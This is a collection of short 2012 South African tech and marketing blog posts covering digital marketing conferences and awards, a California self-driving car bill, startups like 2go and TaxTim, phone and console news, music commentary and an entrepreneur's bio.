Panel three's proposed bill: "Building long term social media communities is more important than creating expensive conceptual campaigns" will be answered by the following representatives – Mike Sharman, Dave Moffat, Nic Wittenberg, Dan Pinch and Isis Nyongo.

The final countdown to this year's premier digital marketing event has begun. All speakers, sponsors, and panel discussion topics have been confirmed and in just one week, these top local and international speakers will be taking to the floor at the Cape Town City Hall for the Digital Edge Live Show – National Assembly on October 4th.

We're all aware that digital marketing is in constant flux. The breakneck pace of innovation alone is causing such dynamic change in this industry that sifting the core trends from the noise in order to ascertain which forces will shape the digital landscape, is no easy feat. The 2012 sitting of the National Assembly has called together a working committee to aid in this sifting process.

Top digital innovators from a range of the country's digital marketing elite will deliberate and state their case with thought-provoking discussions:

Our first panel question: "Are digital agencies 'blinding clients with science'?" will be deliberated by cabinet members Matthew Buckland, Nikki Cockcroft, Ivan Moroke, Arthur Charles Van Wyk, and Andy Gilder, who will deliver an array of practical solutions.

Our second panel will seek to determine whether "South African digital work really is world class" – a question that will be tackled by industry stalwarts Graham Warsop, Rob Stokes, Pete Case, and Jason Xenopoulos.

Panel three's proposed bill: "Building long term social media communities is more important than creating expensive conceptual campaigns" will be answered by the following representatives – Mike Sharman, Dave Moffat, Nic Wittenberg, Dan Pinch and Isis Nyongo.



To close the show, Nathan Martin, world-renowned as DeepLocal's founder, will be making the final address –The Maker Culture – which promises to be a wonderfully entertaining and highly informative talk; a game-changer for the local marketing industry.

The Digital Edge Live Show is also proud to announce that one of South Africa's leading banks, Nedbank, will be sponsoring the highly-anticipated event. Nedbank has built a reputation as South Africa's 'green' bank while at the same time making things happen in the sponsorship arena.

The Digital Edge Live Show – National Assembly 2012 is guaranteed to challenge ordinary ways of thinking. Whether you are tech savvy, a fan of all things digital, or looking to broaden your horizons by entering the fascinating world of digital marketing – this is the one event you don't want to miss!

Book your tickets with the Commission of Enquiry – Living Your Brand – at bookings@livingyourbrand.co.za or go to www.thedigitaledge.co.za for more information
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FNB named headline sponsor of Bookmarks 2012



The Bookmarks Awards 2012 – South Africa's annual award for excellence in online publishing and digital marketing – has secured FNB (First National Bank) as headline sponsor.

The Bookmarks Awards, now in its 5th year, is the only platform dedicated to celebrating all that is digital. This is an initiative brought to you by the DMMA (Digital Media and Marketing Association) as an award geared to the strengthening of the profile of online media, as well as to benchmark local talent against international standards.

Last year, the 2011 Bookmarks Awards were powered by FNB, a company that believes in innovation and digital service improvement as a competitive differentiator. Once again, a perfect fit for this year's Bookmarks Awards 2012 to align themselves even more so in the forever expanding digital industry. FNB is a value-based organization, with core values of pride, accountability, innovation, Ubuntu and respect.

"FNB is proud to be associated with the Bookmarks Awards for the second year running. The Bookmarks Awards strive to recognize contributors who have made their mark in the digital landscape. The Bookmarks concept aligns closely with FNB's drive to provide innovative digital solutions to our customers. To create meaningful digital interaction requires talent. This talent is taken from a wide range of disciplines within the digital industry. Recognising and rewarding talent is a key driver to ensuring that the industry continues to attract great minds, provide solutions that will make a real difference and ultimately help South Africa flourish in the information economy.

FNB is a leader in digital enablement and believes that it will becore to the success of all businesses in the future. FNB has the largest online banking population in South Africa with 1.2 million active users and one of the largest mobile banking bases in South Africa. FNB also launched the first Banking App in South Africa in July 2011 and in just under a year it has acquired over 250 000 active users. Further to this FNB is a significant player in the social media space with more than 200,000 Facebook fans and more than 13,000 followers on its Twitter account." Lana Strydom; Head of FNB Digital Marketing and Media

The Bookmarks is off to an outstanding start, breaking the total of entry records of 590 breaking last year's record of 453.

For more information on the Bookmarks and its associated conference, workshop and awards evening, visit www.thebookmarks.co.za
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Self driving Google car almost legal in California



Self driving Google car almost legal in California

Published by Kelly Levinsohn on Sep 25th, 2012, 1 Comment



Google's self-driving car will soon reach legal status, that will allow it to drive on the highways of California.

Jerry Brown, the governor of California will today sign the recently passed Google robot car bill at the tech giant's headquarters in Mountain View. Google co-founder Sergey Brin as well as other local elected officials will be present at this exciting and for some, controversial event.

According to The Bay Citizen, the bill, SB 1298, has recently passed the California legislature after a fierce lobbying campaign by Google who used significant resources to have the bill passed during the 2009/2010 legislative session including:

Paying $140,000 for the lobbying services of Jonathan Ross, from the prominent Sacramento firm KP Public Affairs.

Contributing $64,000 for the campaign to 36 members and successful candidates for the state Senate and Assembly.

Paying $25,900 each to Brown and his unsuccessful Republican rival, Meg Whitman.

The Bay Citizen also stated that the bill would "allow companies to test self-driven cars on public roads and require the DMV to draft rules governing use of the vehicles by the public. The measure also would define a car's "operator" as the person sitting in the driver's seat, or if there's no one in the driver's seat, the person who "causes the autonomous technology to engage."

What do you think of Google's self-driving car operating on public roads – Would you find it scary or exciting?
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Tech4Africa 2012, Johannesburg

Tech4Africa, the premier mobile, web and emerging technology event returns in 2012 congregating some of the best minds in ICT. This year's theme is "Unlocking the next billion consumers".

Sessions will be focused around mobile and content, the enterprise opportunity, entrepreneurship and financing, social business and innovation, while the audience will cut across the whole tech ecosystem of developers, social media marketers, technologists, corporates, students, investors and media.

The Developer Day and Hackathon on Wednesday, 31st October, includes three tracks – a day on Agile software development, a Hackathon with sessions on Ruby on Rails, Python, Raspberry Pi, PhP etc., as well as workshops for social media marketers on apps ecosystem, monetisation etc.

The conference on Thursday, 1st November, includes keynote speakers Tom Rosemalia, Vice President of Corporate Strategy and General Manager of Enterprise Initiatives at IBM and Ralph Simon, Founder & CEO of Mobilium, with other speakers being Amolo Ng'weno, MD of Digital Divide Data in Kenya; Neal Ford, Director, Software Architect and Meme Wrangler at ThoughtWorks; Vérone Mankou, CEO of Way-C in the Democratic Republic of Congo; Emma Kaye, CEO of Bozza, Josh Adler, social entrepreneur and others.

IBM's Global Entrepreneurship Programme has been brought into the Tech4Africa 2012 agenda and Claudia Fan Munce, Managing Director at IBM Venture Capital Group, will introduce GEP and an award programme. Tech4Africa 2012 will also be running Ignite again – a start-up workshop and pitching competition, which is being run by AngelHub and Deloitte.

A Google G+ Hangout will be held live at the conference so that tech hubs from around Africa can be part of the conference and so that delegates can interact with a panel, asking questions and finding out more about what is happening on the ground in Senegal, Liberia, Uganda, Tanzania, Egypt, Kenya, Congo and other parts of Africa.

On Wednesday night, 31st October, there will be a CEO dinner to bring together senior business leaders to network, share ideas and discuss key tech issues with like-minded people, as well as the conference's international speakers and expert guests.

 

Event Details:

When: 31 October  - 1 November 2012

Where: The Indaba Hotel, Fourways, Johannesburg, Gauteng

Cost - Standard Registration Fee: R1, 800
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IMC Conference 2012 Jhb: Confirms final offering



So we've all been to some seriously yawn-inducing marketing conferences, but that's not how marketing conferences need to be! They can be (and really should be) exciting, intellectually stimulating, motivating, networking goldmines, and anything but a waste of time. The global marketing arena demands continuous trend evolution and constant innovation in order for companies to remain relevant. So it is with this understanding that Living Your Brand presents the Integrated Marketing Communication Conference, taking place on the 15th and 16th October 2012 at the Hilton Hotel in Sandton Johannesburg.

With a unique and unparalleled line-up of guest speakers and workshops that include some of the most prestigious names in the business, the IMC Conference is set to alter the landscape of all aspects of marketing from print media to direct marketing, all the way to the digital and social revolutions.

International Speakers include:

 Joshua-Michéle Ross (Fleishman Hillard Europe)

 Brian Remington (Growth Market Executive at IBM)

Local Speakers include:

 Abey Mokgwatsane (CEO of Ogilvy South Africa)

 Andrea Quaye (GM of Carling Black Label)

 Mike Joubert (Founder of BrandsRock)

 Melissa Attree (Business Developer at Cerebra)

 Melanie Minnaar (Managing Director of Halo)

 Mike Silver (CEO of Stretch Experiential)

 Suhayl Limbada (Senior Brand Manager of Gum at Kraft Foods)

 Ben Wagner (Chief Marketing Warrior at NATIVE)

Workshop hosts and topics include:

 IBM: "Bringing Science to the Art of Marketing"

 Adobe: "Creating Multi-Channel Digital Experiences that Drive Revenue"

 Tribal Fusion: "Audience Insights and Effectiveness Measures: What Works, What Doesn't, and What's Next"

 NXT Digital: "Demystifying digital and the integrated campaign"

 InMobi: "Rich Media capabilities and adoption in South Africa"

 Everlytic: "Email Empire: The state of email marketing in South Africa"

 Cerebra: "Content and community management"

 Strike Media: "How to employ and utilise the phenomenal channel of mobile as a successful and powerful marketing medium"

 Millward Brown: "How to make the most of your marketing investment in a fragmented media environment"

 Halo: "Why the brand why?"

 Fleishman Hillard: "A practical guide to taking social media from Good to Great"

 Acceleration Media: "What ORM is, Why it is a critical component for business today, How it can be managed effectively"

 Prezence Digital: A Q&A session on all things digital

 Boomtown: "Tribal Marketing – the new marketing theory"

 Stretch Experiential: "The experiential banner – from flashy to simplistic tools of engagement"

 SAbest: "Cutting through Marketing Clutter"

Living Your Brand is also proud to announce that leading mobile communications company Vodacom and high-touch online education company Getsmarter have come on board as key sponsors for the IMC Conference.

Delegate seats are selling out fast so book now to avoid disappointment as conference availability is limited. For more information visit www.imcc.co.za, or book your seat directly at bookings@livingyourbrand.co.za
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The entrepreneurial silver bullet

Jess Green is an entrepreneur in Cape Town, South Africa, who has sold one technology company and is building his next. In doing so, he's gathered some interesting advice to share:

Too often I am asked if there is a silver bullet for a start-up, something that you can simply put in your entrepreneurial pistol and fire a bull's eye with. And while nothing on its own can determine your new company's success, I believe one thing counts more than others.

There's a true story about a lady who runs a successful hair salon in Constantia – all her clients are wealthy and she's only ever done one good bit of marketing, which is still ongoing since she started it. Let's call her Linda.

Linda started very small and knew she had to get her client base up and increase her audience – somehow. She also noticed that her best clients were those that drove BMW and Mercedes Benz cars. It was her dream to get more of those. She spoke to them and they all mentioned their cars and how they enjoyed them.

So she picked up the phone and called BMW, and asked them if they would allow her to put a free salon voucher in newly sold BMWs or those coming in for a service. Sure, she was told, but you've got to make it something big, like a basket of flowers and fruit, together with your voucher. Oh, and we're not paying a cent – the cost must be yours.

So, for a few minutes, Linda sat back and thought. Over the next week, she made it a point to speak to flower and gift stores, and built up a network of contacts. Then one day it hit her, and she quickly phoned flower shops and fruit basket shops and asked whether they wanted their products marketed in every new BMW sold in Cape Town! They would have to pay, but they would get great exposure. You get the drift already… Linda got her salon's marketing brochures, together with lovely flowers and fruit baskets, in every new Merc and BMW sold in Cape Town, all for free.

That story has so many lessons in it. The fact is, you can accomplish everything you want in business by getting in touch with the right people. Some call it networking, some say it is the "who you know" of your career, but I disagree with all these buzzwords. A business friend of mine in Russia used to say often: "Your most valuable thing is your partners." So, let's simply call it your "relationships".

And if there's a silver bullet to entrepreneurship, as in other parts of life, it's how you connect and nurture those relationships. Notice how I say it's how you connect them – Linda's story shows that she saw a unique way to connect people to achieve a mutually beneficial goal. That's what business is all about.

Honing your skills

Networking is an age old talent that some just have and others work hard at. But to master it as an entrepreneur, one needs to learn how to connect those people you have business relationships with.

Imagine you are starting a website that sells clothing – you are a passionate fashionista and have had the dream of doing this for ages. Well, what have you been doing all this time? Hopefully, getting in touch and connecting with many people in your industry, to the point that when you now want to get going with your website, you have the following relationships in place: a designer for your website, a developer/programmer to build it and many relationships with clothing makers and manufacturers, as well as a delivery company. Some of these you will have to pay for, but some will gladly do the work for a share of your business – the golden way to starting a company: sweat equity.

Recently, I was challenged to build a complex technical solution for the retail market in South Africa, involving hardware rollouts into many stores across South Africa. To pay for this would cost a fortune, but instead I spent two months increasing my network in the right places, attending the right conferences and phoning the right people until I had secured a technology company to build the solution, and another to commit to the installations. I more than gladly parted with a share of my company for their involvement – each is the number one in their field.

A natural trait

I've seen great entrepreneurs in action, and they're always connecting people and telling others who they need to speak to to get something off the ground. This is something quite native about the entrepreneurial way, helping others to achieve their goals, and in turn receiving the same from your contacts.

So take a lesson from the experts out there – networking is not the ultimate silver bullet to start your business. It's how you blend the relationships you have built up, and howyou guidethose newly formed teams on the start-up you have.

How you connect people in your mind will also improve how you build connections to create better business ideas. It is definitely something you can learn, a good skill that adds volumes to both your personality and the way you interact with people in business. And in my opinion, the key factor in how successful your company will be in lifting off the ground.
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2go: The South African mobile app that’s bigger than Facebook

One of South Africa's quietest tech success stories that has managed to get from startup to profitability in four years is mobile social network 2go. It has come to dominate the Nigerian market, where it has over nine million active users – several million more than Facebook.

The secret, says director Peter Lockhart, has been balancing a tight focus on what 2go's users really want – a cheap, easy way to chat and socialise using their mobile phones – with the deep technical expertise needed to deliver that experience across thousands of different devices.

"Building mobile technology for an African market is tough," says Lockhart. "Data and SMS are expensive, and our users are price sensitive and savvy. That means we have to deliver an application that uses the absolute minimum of system resources and bandwidth. Our response has been to develop proprietary communications protocols and compression algorithms that minimise the app's data usage."

The 2go team has also cracked the technical challenge of producing an app that works equally well on all of the myriad feature phones that still dominate the African market. "It's much, much harder to develop for feature phones than for smartphones," says Lockhart, "partly because there is such a variety of platforms and operating systems. You need deep technical knowledge. This technical knowledge also extends to our ability to scale the back-end in a very resource efficient manner."

The fact that 2go works well on many handsets has been critical to the viral spread of the app, says Lockhart, adding "feature phones aren't going away any time soon. Projections from Informa indicate that non-smart phones will still comprise 85% of the African handset market in 2015."

2go has resisted the tempation to bloat its app with added features as users log in and out quickly, several times a day and need things to be quick and simple.

Alongside this technical focus, 2go has also remained extremely alert and sensitive to the needs of its users. "Our target market is not some kind of generic 'Africa'," says Lockhart. "We ask what country are they in, what region, what city? 2go really took off in Nigeria when we noticed that our users wanted to be able to chat within their university communities. So we did the research and created a chat room for each university in the country."

The insights gained in Nigeria have fed back into the South African market, where 2go has 1,5m active users and counting. The app also provides gateways to other popular social networks such as GTalk, MXIT and Facebook. "I use 2go to chat with friends on Facebook and they have no idea," says Lockhart. "Our whole mission is to make chat easy, cheap and painless, no matter what device you're using."

Follow me @siihle087
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SA First: Virtual tax assistant TaxTim becomes multilingual



Local startup TaxTim, that was featured on Mzansi Style online, now offers South African tax payers the ability to file their tax returns in English, Afrikaans, isiXhosa and isiZulu.

TaxTim, a new web based digital tax assistant aimed at young professionals, is easy and fast and even makes filing your tax returns an enjoyable experience.

For the first time ever, 63% of South Africans can now do their own tax returns in their home language. And so, TaxTim is now the only tax assistant in South Africa that has a multi-language offering.

Previously, the breakthrough online assistant was only able to assist its customers in English. The core product of the tool has now been translated to reach more of the diverse South African market, including a step-by-step guide for getting a tax number and using eFiling, all the content you would need to navigate the tax system and file your return as well as all the essential tax definitions.

"Tax is hard enough to understand in your own language. We are delighted to announce that TaxTim has now made it that much easier for the majority of South Africans to achieve tax compliancy," says co-founder Evan Robinson.

TaxTim used the South African Translators Institute (SATI) to find three qualified and experienced freelance translators to accurately translate the tool into isiXhosa, isiZulu and Afrikaans.


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Nominations now open for the 2012 South African eCommerce Awards

The 7th Annual South African eCommerce Awards are finally here. These awards have been designed to recognise and reward those South African websites that have demonstrated excellence in their use of the Internet as a platform for eCommerce.

Nominations are currently open and will close on 15 August 2012 and the awards are open to all South African eCommerce websites that are based in South Africa.

This is how it works…

Commerce websites only need one nomination in order to be entered into the 2012 South African eCommerce Awards.

The 2012 South African eCommerce Awards will run on a three round voting and evaluation process:

Round 1: Public Voting

The full list of nominees will be available on the awards website on 16 August 2012, when the Public Voting opens. Public voting will determine the top 40 websites that will go through to the initial evaluation round (Round 2). The eCommerce website with the most public votes at the end of the voting process will win the award for The Public's Favourite eCommerce Website. Public voting ended 16 September 2012.

Round 2: Initial Evaluation
The public's votes from Round 1, together with the design evaluations will determine the top 20 websites for Round 3. The design evaluations will be conducted by the independent design company, Druff Interactive.

Round 3: eCommerce Process Evaluation
The top 20 websites will each receive a comprehensive assessment, including the evaluation of their ordering processes, customer service, design standards and ease of use. These evaluations will determine the Winners in the 2012 South African eCommerce Awards.

The Winners will be announced on 15 November 2012 in the following categories:

The Public's Favourite eCommerce Website

Best eCommerce Store

Best eCommerce Services Website

Best Group Buying Website

Best Design, Standards & Ease of use

Best Shopping Process

To nominate a website visit www.ecommerceawards.co.za

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Vodacom multiplatform mobile app workshop, Pretoria

Vodacom is planning to launch South Africa's first multiplatform mobile application development workshop which is aimed at strengthening the mobile app eco-system in South Africa. The workshop will be launched in partnership with some of the best and leading ICT players in South Africa which include BlackBerry, CSIR, Google, Microsoft, mLab, Nokia, Qualcomm, Samsung, Technology Innovation Agency and The Innovation Hub.

The workshop forms part of the Vodacom Developer Programme which aims to encourage local developers to design apps that are relevant to the South African market as well as the global market.

"We are thrilled to have partnered with key industry players who have teamed up to drive mobile application innovation in South Africa. They will present their best practice software engineering techniques and provide insights on some of the most advanced mobile application software development tools. Developers will also gain insight on funding options available. We hope this programme will encourage local developers to get actively involved in the creation of an ecosystem of local apps in South Africa," says Prins Mhlanga, Managing Executive of Digital Media at Vodacom.

Below is a preview of topics that will be discussed during day one of the workshop:

Vodacom Developer Programme as a vehicle to drive mobile app ecosystem in South Africa by Prins Mhlanga, Managing Executive at Vodacom.

The enterprise development opportunities in the mobile space by Paulo Ferreira, Head of Enterprise Mobility at Samsung.

Opportunities for mobile applications in government by McLean Sibanda, CEO at The Innovation Hub.

Developing windows phone games and introduction to developing for Windows 8 by Dave Russell, Technical Developer Evangelist at Microsoft.

Android, HTML5 and mobile web development by Ato Ulzen-Appiah the Developer Outreach Programme Manager of Sub-Saharan Africa at Google and Toby Kurien, the Android Development Freelancer.

Event Details: 

When: 3- 5 October 2012

Where: The Innovation Hub, Pretoria

For more information and to register visit www.vodacom.co.za/developer
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Q&A with Top International Digital Thinker, Nathan Martin

The producers of The Digital Edge Live Show set to take place in Cape Town in October, put some time aside to do an in-depth interview with international speaker Nathan Martin, CEO of Deeplocal who will be headlining the event. Coined by Forbes Magazine as "Willy Wonka with a toolkit from Mythbusters", Nathan has been instrumental in shaping innovation in the ad industry with projects like the Nike Chalkbot robot for the Tour de France and the Prius bicycle with mind-controlled shifting.

With clients that include the likes of Nike, Toyota and Volkswagen, and awards that include AdAge Small Agency of the Year Northeast and Cannes Lions Grand Prix, Deeplocal (with Nathan at the helm) is a force to be reckoned with in the digital marketing sphere. Here's a sneak peak of how the conversation unfolded:

Q: What do you love about the digital marketing industry right now?

A: What excites me most is the competition to be creative. When Deeplocal entered the industry almost four years ago, I don't think many creatives were pushing (or able to sell through) ideas that really blurred the boundaries between art and advertising. Having come from the art world, I see many ideas and work that remind me of the creative use of technology of my previous life. As more work that defies categorisation begins to exist, more clients begin to buy in to more wild ideas and more amazing work is brought to life. And the best is yet to come for digital marketing.

Q: What do you think is currently the most valuable developing media type in the digital arena?

A: I don't think a single media type is most valuable. I think we need to look at our target audiences as holistic humans – just like us. These humans play in many different worlds and engage with many different media throughout any given day or week. The most valuable thing we as advertisers can do is synchronise efforts across media and provide information whenever, and wherever a user needs or expects it. We need to adapt to the user's behaviour.

Q: What do you think is the most important factor that companies ignore when planning a digital marketing strategy?

A: It seems sad and obvious to say but I think that when developing a strategy, many simply forget the "would I like this" question. I think especially with digital marketing, we tend to add too much complexity too quickly. I know I've done this myself. It is very hard to focus on a single simple good idea. Make it simple and make it cool.

Q: What, in your opinion, are the latest innovations in digital marketing and media?

A: Everything old is new again. Many of the latest innovations I've seen are old technology: non-human audible audio to sync mobile device to TV, motion sensors to adapt video to user's movements, RF to link numerous devices to a single source for cheap communication, etc. I think this shows where we are with technology these days. We have enough tools in our shed that we can go back in for a second look and see what we can do now. Smell-o-vision is even making an appearance again.

Q: What was the process behind inventing a concept like the Nike Chalkbot?

A: The Chalkbot was an example of a great collaboration between some cool people at Wieden and Kennedy and Deeplocal. This was our first project in advertising and to us Wieden was simply Adam Heathcott, Jeremy Lind, and Marcelino Alvarez. Those three people were our points of contact, our supporters, and our collaborators. While many were involved, this project like many is about a few good people working their asses off. I have a very long story I can tell but the short version is that Adam, a creative at W+K was inspired by some work I had shown him nearly a decade before Chalkbot. We worked with another outside engineer to prototype a solution to the challenge of printing on the streets, and once proven, we worked together to expand what was possible with the machine and the surrounding system. We had a few days to prototype and five weeks to build the thing. The process was called "get shit done."

Q: Tell us about the Nike Chalkbot's win at Cannes

A: I'm not a huge fan of awards shows myself but it was a tremendous honour for me and everyone at Deeplocal. It meant a lot to receive the respect we did from an industry we did not originally come from. It still means a lot to me.

Q: What can we expect from Deeplocal in the coming year?

A: We are growing a bit, moving into a larger facility and transitioning to working a bit more closely with a few of our clients. We don't want to just keep delivering cool physical experiences, we want to change the way our clients do business and engage with customers. Expect to see things that seem out of character with us at first but I encourage you to dig deeper. There is a method to our madness.

Q: How do you think South Africa compares to the rest of the world in terms of Digital Marketing innovation?

A: I hope to learn the answer to that from all of you at the event.

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Teraco to host Durban Internet Exchange (DINX)

Teraco Data Environments, South Africa's first vendor neutral data centre, has won the bid to host the Durban Internet Exchange (DINX). Teraco is set to make internet history with this announcement by providing Durban-based ISPs with a local exchange for the very first time. Lex van Wyk, Managing Director at Teraco says that the launch of the exchange is a major step towards contributing to the health and growth of the internet in South Africa.

"The installation of DINX within our Durban facility has been a long time coming and is a big step for the internet in South Africa. Juniper kindly donated the network switches and Teraco the power and space requirements for the internet exchange. We're proud to say it's already installed and operational," says van Wyk.

Graham Beneke from the Internet Service Providers Association (ISPA) says that the new exchange is fundamental to furthering economic and societal growth in South Africa. "DINX serves as yet another critical hub for internet data exchange in South Africa minimising our need to send domestic internet traffic onto long-distance international links which ultimately results in higher costs and latency."

"DINX will enrich South Africa's internet ecosystem and pave the way for growth in other areas like cloud applications," says Van Wyk.

Teraco's Durban facility provides power, security, fire protection, cooling and cable management according to a design level resiliency policy. Van Wyk says that the data centre is located on the fibre ring of all the major licensed carriers, all of which have fibre nodes within the building, presented in the Teraco Carrier Hotel. Teraco data centre.

Derek Hershaw, CEO of MWEB ISP says "Teraco, through its continued build of neutral and open access centres, has already positively contributed to the cost of Internet access in South Africa, and I have no doubt their hosting of DINX works towards the same goal of improving the overall Internet economy in our country."

"Internet traffic is increasing in Durban and with the introduction of DINX, we'll see improved performance for traffic within the metropol, cost-savings and an extra layer of redundancy," says van Wyk
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Samsung Galaxy S4 coming March 2013?

Hot off the announcement of the iPhone 5, it seems Samsung didn't want to be out of the spotlight too long. According to sources, Samsung waited until the iPhone 5 was announced to determine their own timetable for the launch of the successor to the hugely popular Galaxy SIII, pictured above.

Even though the SIII was released only a couple of months ago, Samsung want to dig into pockets again as soon as possible. Rumours are indicating that the Galaxy S4 (or is it Galaxy SIV?) will be announced at the Mobile World Congress in February 2013, held in Barcelona.

We were surprised to find that the news came from a reporter at the Korea Times who claims to have an exclusive source at a local Samsung supplier. According to this source, we can expect it to hit stores in March 2013 and the device will retain the "inspired by nature" design. Also, we can expect a quad-core Exynos processor, LTE-compatible radio and maybe even a flexible screen. It won't actually make the device flexible; it is merely to reduce the thickness of the device. Another interesting rumour is that the screen "might get a bump from 4.8 to 5 inches". The device won't be any bigger, though, which means we might get the button free face we were hoping the Galaxy SIII would have.

The source says that Samsung's timetable was agreed upon a mere three days after Apple's smartphone titan was announced last week. It could be a smart move by the Korean firm; by making the announcement so soon they will be hoping to win over some Apple fans that might have been a bit disappointed with the new iPhone.

What do you think about this Samsung strategy? Will it pay off, or will they create an incomplete product with so little time to work on it? Does Samsung really have to keep making their phones bigger and bigger? Let us know in the comments below.

Source: Korea Times
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Sony’s ‘Slim’ PS 3 to make worldwide debut in October

According to The Next Web Sony revealed its new Play Station 3 at the 2012 Tokyo Games Show on Friday.

The new slim version of the console, that is 20 percent smaller than its predecessor, will make its North American debut on the 25th September followed by a worldwide rollout in October that includes Japan and Europe.

Other features of the new PS 3 include a decrease in weight of about 25 percent, the choice of two storage options - 250GB and 500GB and a sliding disk cover, with a characteristic curved body design. The console will also be available in black and white.

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public hungry for khaya mthethwa

The public is extremely hungry and fascinated by Khaya Mthethwa.

Tweets, Facebook, newspapers and he is not even on voting stages. In the past few weeks we have featured Khaya Mthethwa on our blogs, needless to say he has smashed and broken our stats records.

There is so much demand for the young man if it goes this way, start placing your bets, ladies and gentlemen we are having the next "SA Idols 2012 TM"

Endorsement from celebrities have soared. I'm not talking about Tom, Dick and Harry, Ok and Mbali. Here I'm talking about serious entertainment heavy weights with thousands of Facebook Fans and Twitter followers. Not only that, but people with powerful media access and influence, politicians, DJ's, ordinary man on the street, preachers and lastly, very excited young girls.

Khaya Mthethwa is not just another contestant in South African Idols, he is a rare talent. May be another male Zahara (What you think?). The current best selling female vocalist.

Before he started Idols, Joyous celebration opening medley song on YouTube was sitting at below 40,000. Listen, the stats have climbed to over 80,000

His Twitter followers were about 1000 now 9,960

His personal Facebook account reached the limit in the first week of the auditions. The current Facebook Fans page was on 1400 now, 7053 (7/14) tomorrow it will be a completely difference story.

What makes him tick?



1-Time. Opportune moment.

2-Preparation, believe me, he has put a lot of effort in his craft.

3-Joyous Celebration.

4-Divine Intervention. After all he is a son of a preacher. (P.K) 



WHAT DO YOU THINK OF KHAYA??
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Zakwe - A Good Flow Average Rapper

I was listening to new hip hop artist Zakwe, the five time 2012 MTN SAMA nominee, hoping to get eardrum-damaging punch lines. My expectations of his self-titled debut album dropped quicker...

How this nice-flowing chap got five nominations still troubles my mind. Maybe what other people find interesting in him escapes me.

I'd like to believe that it was his nominations that fully made him a household name, not his rhyming skills per se. My belief stems from the realisation that a lot of people began throwing the "who is Zakwe?" question after his multi-award nominations.

Nonetheless, brotherman has one of the freshest and tightest flows that definitely stand him out from the pool of mediocrity which we are forced to drink. His flow ensnared my attention upon watching his Bathi Ngiyacoma (Remix) music video for the first time. He rode on the beat with confidence and oomph that I felt no need to digest his lyrical content. The flow was just lekker. Zakwe is arguably a killer-flow rapper with average lyricism. I guess it is on this basis of his flow that some people consider him tight.

The episode on which I lost my cool came when I read a couple of comparisons punted by people between Zakwe and Pro (kid). The two undoubtedly flow alike, employ venarc-laden kasi rap alike and even ride the beat with similar enthusiasm. But that's where it ends, at least in my opinion. It is their storytelling abilities that set them apart.

And how he got five nominations would give me sleepless nights if I was gunning for a SAMA award against him. But I'm just a fan who wishes to see talent justly rewarded. Hence I insist that there's little justice in Zakwe's SAMA business, something that makes me question the SAMA nomination process. How does it work? Who makes the decisions? Maybe I should ask SAMA CEO but if any of you knows please shed some light.

My opinions are mine and the decision makers have their own too.

What your take????
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ZIBUSISO MKHWANAZI

Zibusiso Mkhwanazi is a South African digital entrepreneur, A World Economic Forum Young Global Leader and founder and CEO of AVATAR - The Digital Marketing Agency.

He is the founder of the Mkhwanazi Academy for Christian Entrepreneurship Zibusiso serves on the boards of the National Economic Education Trust and The red quarter brand agency.

Zibusiso founded Csonke Holdings in 2000 with R2000.00 capital at 17 years old. In 2007 he lead a merger of his web development business and Csonke Holdings subsidiary Csonke.com with KRAZYBOYZ to form KRAZYBOYZ digital, an empowered digital marketing agency based in Sandton and Cape Town. His client base spans SA corporates, Government and international corporates.

Zibusiso is the founder of the Mkhwanazi Academy for Christian Entrepreneurship based in Vosloorus. The academy is one of CISCO's global accredited education institutions that produce ethical South African entrepreneurs from young people from disadvantaged communities.

Accolades :

BBQ Young Business Achiever in 2007

100 Young South Africans June 2007

Top ICT Individual in Africa and Top ICT Young Entrepreneur in Africa, both in 2008

Men's Health Best Man Editor's Choice Award in 2009

200 Young South Africans

IT Personality finalist for 2009 and 2010

World Economic Forum Young Global leader 2011

Finalist for Best Individual Contribution to SA Digital Marketing, 2011.
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